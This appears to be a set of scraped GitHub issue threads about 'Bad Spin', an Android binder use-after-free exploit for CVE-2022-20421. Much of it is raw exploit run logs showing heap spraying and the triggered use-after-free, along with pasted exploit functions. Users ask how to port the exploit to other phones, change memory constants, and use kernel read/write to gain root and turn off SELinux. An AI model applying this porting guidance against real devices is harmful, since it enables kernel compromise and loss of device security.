[shaper_process:22237] 30000 files sprayed
[shaper_process:22238] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=22301
[timer_master_process] Wait for C to enter spin_lock()
[22304:22304] New binder client: C
[22302:22302] New binder client: A
[22303:22303] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[x] Waiting for timer threads
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 22604
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:22676] 30000 files sprayed
[shaper_process:22672] 30000 files sprayed
[shaper_process:22673] 30000 files sprayed
[shaper_process:22675] 30000 files sprayed
[shaper_process:22674] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=22766
[timer_master_process] Wait for C to enter spin_lock()
[22769:22769] New binder client: C
[22767:22767] New binder client: A
[22768:22768] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Waiting for timer threads
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 23091
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:23168] 30000 files sprayed
[shaper_process:23166] 30000 files sprayed
[shaper_process:23167] 30000 files sprayed
[shaper_process:23164] 30000 files sprayed
[shaper_process:23165] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=23234
[timer_master_process] Wait for C to enter spin_lock()
[23235:23235] New binder client: A
[23237:23237] New binder client: C
[23236:23236] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish.
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[x] Waiting for timer threads
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 23964
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:24040] 30000 files sprayed
[shaper_process:24036] 30000 files sprayed
[shaper_process:24037] 30000 files sprayed
[shaper_process:24038] 30000 files sprayed
[shaper_process:24039] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=24106
[timer_master_process] Wait for C to enter spin_lock()
[24107:24107] New binder client: A
[24109:24109] New binder client: C
[24108:24108] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads

Not Working on Pixel 6

oriole:/ $ LD_PRELOAD=/data/local/tmp/libbadspin.so sleep 1
Failed on dev_config_init:1341
1|oriole:/ $

its not loading the .so in order to run on shell.

How to change certain constants to adapt the exploit for my device

I was trying to find out the replacement for the values 0x28000000 and 0x4010000000. What are these values? Can I find it out directly from the boot.img, if yes, what are the symbols that represents these values (ram offset and the other one)? As I am a beginner to this field, it would be a great help if you could help me. Any other values like these those I would need to change?

Why does the same exploit code behave differently on kernel 5.4 and kernel 5.10

@0xkol after successfully exploited in a kernel 5.10.66,see issue12,I want to exploit in a new device, with kernel 5.4.147.
In the kernel 5.10.66,all exploit is run correctly, but in the new device with kernel 5.4.147:

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5068:5068] New binder client: A
[5070:5070] New binder client: C
[5069:5069] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
C: Wait for A...
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[x] Trigger use-after-free
(crash)

I had chaged the NR_EPFDS from 500 to 200.

after some debug log,I found:
beforce leak_inner_lock_offset in do_client_b, it call usleep(5001000) for sleep 0.5s. but it seem to hang on and then the system crash.
if I undo the call usleep(500
1000)

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5112:5112] New binder client: C
[5110:5110] New binder client: A
[5111:5111] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[leak_inner_lock_offset] Enter.
Testing ptmx 0 (fd 4)
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[x] Trigger use-after-free
(hang on a while and then crash)

in the unblock_blocker_thread,
void unblock_blocker_thread(poc_client_t *client, int blocker_thread_index) {
exploit_ctx_t *ctx = client->ctx;
poc_client_private_data_b *b = client->private_data;
while (!atomic_load(&ctx->sync_var_vuln_ptmx[blocker_thread_index])) {
LOG("[%s] ctx->sync_var_vuln_ptmx[%d] ==0,so need to turn_on_ptmx.\n",func,blocker_thread_index);
turn_on_ptmx(b->ptmx[blocker_thread_index]);
}
}
turn_on_ptmx(b->ptmx[blocker_thread_index]) --- the will unblock the write syscall in the blocker_thread:
void *blocker_thread(void *arg) {
struct blocker_thread_info *info = arg;
pin_to_cpu(0);
flush_ptmx(info->ptmx);
turn_off_ptmx(info->ptmx); // make the write() syscall to block.

light_cond_wait(&info->ctx->lc_spray_tty_post);

/* Create tty write buffer and block */
SYSCHK(write(info->ptmx, info->data, info->data_size));

atomic_store(&info->ctx->sync_var_vuln_ptmx[info->blocker_index], 1);

  LOG("[%s] set ctx->sync_var_vuln_ptmx[%d] to 1.\n",func,info->blocker_index);
return NULL;
}
but there is the proplem:after call turn_on_ptmx, it seem the info->ctx->sync_var_vuln_ptmx[info->blocker_index] not to be set to 1(if yes ,the log will be printed),so the unblock_blocker_thread will be in a dead loop.

Fail Note 20 N981U

{
.name = "Samsung Galaxy Note 20",
.model = "SM-N981U",
.android_version = 12,
.android_security_patch.year = 2022,
.android_security_patch.month = 9,
.kernel_version = KERNEL_VERSION(4, 19, 113),
.ram_offset = 0x28000000UL,
}

QS1: Is the exploit only working on Kernel Version 5,x,x?
QS2: How can I get the ram+offset?

c1q:/ $ LD_PRELOAD=/data/local/tmp/libbadspin.so sleep 1

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[x] Trigger use-after-free
[x] Finish spinning at spin_lock()
[x] Trigger vulnerability... (mode = 1)
[x] Trigger use-after-free
[x] Finish spinning at spin_lock()
[x] Trigger vulnerability... (mode = 1)
[x] Trigger use-after-free
[x] Finish spinning at spin_lock()
[x] Trigger vulnerability... (mode = 1)
[x] Trigger use-after-free
[x] Finish spinning at spin_lock()
[x] Trigger vulnerability... (mode = 1)
[x] Trigger use-after-free
[x] Finish spinning at spin_lock()
[x] Trigger vulnerability... (mode = 1)

Failed to adapt the exploit in a new device

I want to adapt the exploit and support a new device( not Samsung or Google pixel),
.android_version = 12,
.android_security_patch.year = 2022,
.android_security_patch.month = 3,
.kernel_version = KERNEL_VERSION(5, 4, 134),
.kimg_to_lm = pixel_kimg_to_lm,
.find_kbase = noop_kbase,
The uname -a is:
Linux localhost 5.4.134-qgki-g27c154db7d6e #1 SMP PREEMPT Fri Mar 25 11:44:48 CST 2022 aarch64

I have tried many times, but it failed with the following output and then the phone panic:

Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[8265:8265] New binder client: A
[8266:8266] New binder client: B
[8267:8267] New binder client: C
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
Testing ptmx 0 (fd 4)
Reading ptmx 0
Testing ptmx 1 (fd 5)
Reading ptmx 1
Freeing ptmx...
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
Joining blocker threads...
All blocker threads joined.
offsetof(inner_lock, binder_proc) = 576
[x] Found binder_proc's inner_lock offset: 576 (vuln_fd 72)

[graveyard_process] pid = 8320
[pipe_process:8321] Pinned to CPU 0
[pipe_process:8323] Pinned to CPU 2
[pipe_process:8324] Pinned to CPU 3
[pipe_process:8322] Pinned to CPU 1
[pipe_process:8325] Pinned to CPU 4
[pipe_process:8326] Pinned to CPU 5
[pipe_process:8327] Pinned to CPU 6
[pipe_process:8328] Pinned to CPU 7
[fd_master_process] pid = 8329
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:8383] 30000 files sprayed
[shaper_process:8385] 30000 files sprayed
[shaper_process:8384] 30000 files sprayed
[shaper_process:8382] 30000 files sprayed
[shaper_process:8381] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=8386
[timer_master_process] Wait for C to enter spin_lock()
[8387:8387] New binder client: A
[8389:8389] New binder client: C
[8388:8388] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
.....................................!............
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 8417
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:8473] 30000 files sprayed
[shaper_process:8469] 30000 files sprayed
[shaper_process:8470] 30000 files sprayed
[shaper_process:8472] 30000 files sprayed
[shaper_process:8471] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=8474
[timer_master_process] Wait for C to enter spin_lock()
[8476:8476] New binder client: B
[8480:8480] New binder client: C
[8475:8475] New binder client: A
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
A: 1 references accepted
B: Searching for magic badcab1ebadcab1e....
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
.................................*................

The panic info is:
mReason: PANIC
sReason:page_request
info: PC filp_close+0x28/0xbc

And I have tried to change NR_EPFDS from 500 to 200, but it failed the same error.
BTW, it seem to crash randomly.

Not an issue but a SUCCESS!

GitHub doesn't have a congratulations or great work tab. So forgive me for posting here. Keep up the good work.

Screenshot from 2023-05-24 07-36-55.png

S22 Ultra on AVHF

IMG_20230524_131033_100.jpg

S22 Ultra on AVF1.

Reading and writing on S22 using kwrite()

hello friends
I've tried the exploit on Galaxy S22 and it works well!
but after a lot of works and trying to access root and selinux permissive, I realized that I can't change or even read some special parts of kernel memory such as the offset of SELINUX_ENFORCING_BOOT.
every time that I tried to call kwrite() or even kread() for the content of this address the kernel crashed.
at first I was thinking that the problem is related to my special kallsyms offset so I tried some others like SELINUX_STATE , SELINUX_SETUP but now I understand that the problem is related to some special kallsyms offset .
can any body explain more about my problem I am a newbie in this field and I can use any help.

Support Inner_Lock offset 512

I am trying the exploit on Galaxy Z Fold 3.

In the research paper, it is stated:

For the rest of the exploit we will use the dup2() func-
tion to reach this allocation. Using this method we can
support inner_lock offsets ≥ 512. This is acceptable for
us, as we did not encountered a smaller offset. Otherwise,
we would have used the fork() method

I am getting the following error:

[x] Found binder_proc's inner_lock offset: 512 (vuln_fd 64)

[x] Unsupported inner_lock offset: Must be >= 520 and aligned to 8.
[x] Exit.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.